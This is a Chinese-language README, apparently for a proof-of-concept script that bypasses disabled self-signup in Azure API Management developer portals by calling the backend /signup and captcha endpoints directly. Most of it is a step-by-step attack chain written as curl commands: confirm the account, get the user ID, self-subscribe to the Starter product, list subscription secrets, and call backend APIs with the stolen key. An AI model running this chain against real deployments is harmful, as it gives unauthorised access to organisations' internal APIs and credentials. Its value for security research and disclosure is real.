当 UI 被禁用时,用于绕过 Azure APIM 注册的 Python 脚本,这与 CVE-2025-66390 不同,因为它不需要你在跨租户之间设置任何内容。
一个用于绕过 Azure API Management (APIM) 中已禁用开发者门户注册的概念验证脚本,通过直接调用后端注册 API 实现。
Azure APIM 开发者门户可以配置为通过门户 UI 禁用自助注册。在某些部署中,即使 UI 按钮被隐藏或移除,底层 API 端点(/signup)仍然保持活动并可达。该脚本利用了这一差距,通过以下方式:
/v2/captcha-challenge 获取工作量证明(PoW)验证码挑战/signup 提交注册请求所有输入(目标 URL、凭据、代理)都在运行时以交互方式提示输入。
CVE-2025-66390(CVSS 9.8 严重)描述了一种 跨租户 APIM 注册绕过:攻击者利用一个已 启用 注册的租户,通过操纵 API 请求中的 Host 标头,在另一个已 禁用 注册的租户中注册账户。微软将其标记为配置问题,而非产品漏洞。
这不需要创建任何跨租户环境,而是直接使用 /v2/captcha-challenge 端点,平均通过 75000 次迭代即可解决验证码。
python3 apim_signup.py
会提示输入目标 URL、账户详情、密码(隐藏输入,并回显以供确认)以及可选代理。
一旦注册请求成功且确认邮件到达,完整的攻击链如下:
点击注册邮件中的确认链接。这会在管理 API 验证账户之前激活该账户。
使用 Basic 认证(base64(email:password))访问 APIM 管理 API,以获取你的内部用户 ID:
curl -s "https://<service>.management.azure-api.net/subscriptions/<sub>/resourceGroups/<rg>/providers/Microsoft.ApiManagement/service/<service>/identity?api-version=2019-12-01" \
-H "Authorization: Basic <base64(email:password)>"
# → {"id":"<user-id>"}
返回的 id 字段将用于所有后续管理 API 调用。
或者访问 /developer/identity?api-version=2022-04-01-preview <-- 版本无关紧要 界面会提示你登录,你也可以在那里获取你的 ID。
默认的 Starter 产品带有 approvalRequired: false,这意味着无需管理员审批。通过 PUT 自行订阅:
curl -s -X PUT "https://<service>.management.azure-api.net/subscriptions/<sub>/resourceGroups/<rg>/providers/Microsoft.ApiManagement/service/<service>/users/<user-id>/subscriptions/starter-sub?api-version=2019-12-01" \
-H "Authorization: Basic <base64(email:password)>" \
-H "Content-Type: application/json" \
-d '{"properties":{"scope":"/products/starter","displayName":"Starter"}}'
# → HTTP 201 Created
来自 [email protected] 的确认邮件(“你对 Starter 的订阅”)会到达。
curl -s -X POST "https://<service>.management.azure-api.net/subscriptions/<sub>/resourceGroups/<rg>/providers/Microsoft.ApiManagement/service/<service>/users/<user-id>/subscriptions/starter-sub/listSecrets?api-version=2019-12-01" \
-H "Authorization: Basic <base64(email:password)>"
# → {"primaryKey":"...","secondaryKey":"..."}
使用主密钥作为 Ocp-Apim-Subscription-Key 向 APIM 网关发起经过身份验证的后端调用:
curl -s "https://<service>.azure-api.net/<api-path>" \
-H "Ocp-Apim-Subscription-Key: <primaryKey>"
访问权限取决于哪些 API 被限定到 Starter 产品——在配置错误的部署中,这可能会在没有进一步身份验证的情况下暴露内部后端。
有关更多细节,这篇文章很好地描述了该攻击链,只需忽略跨租户部分即可。https://www.praetorian.com/blog/azure-apim-signup-bypass/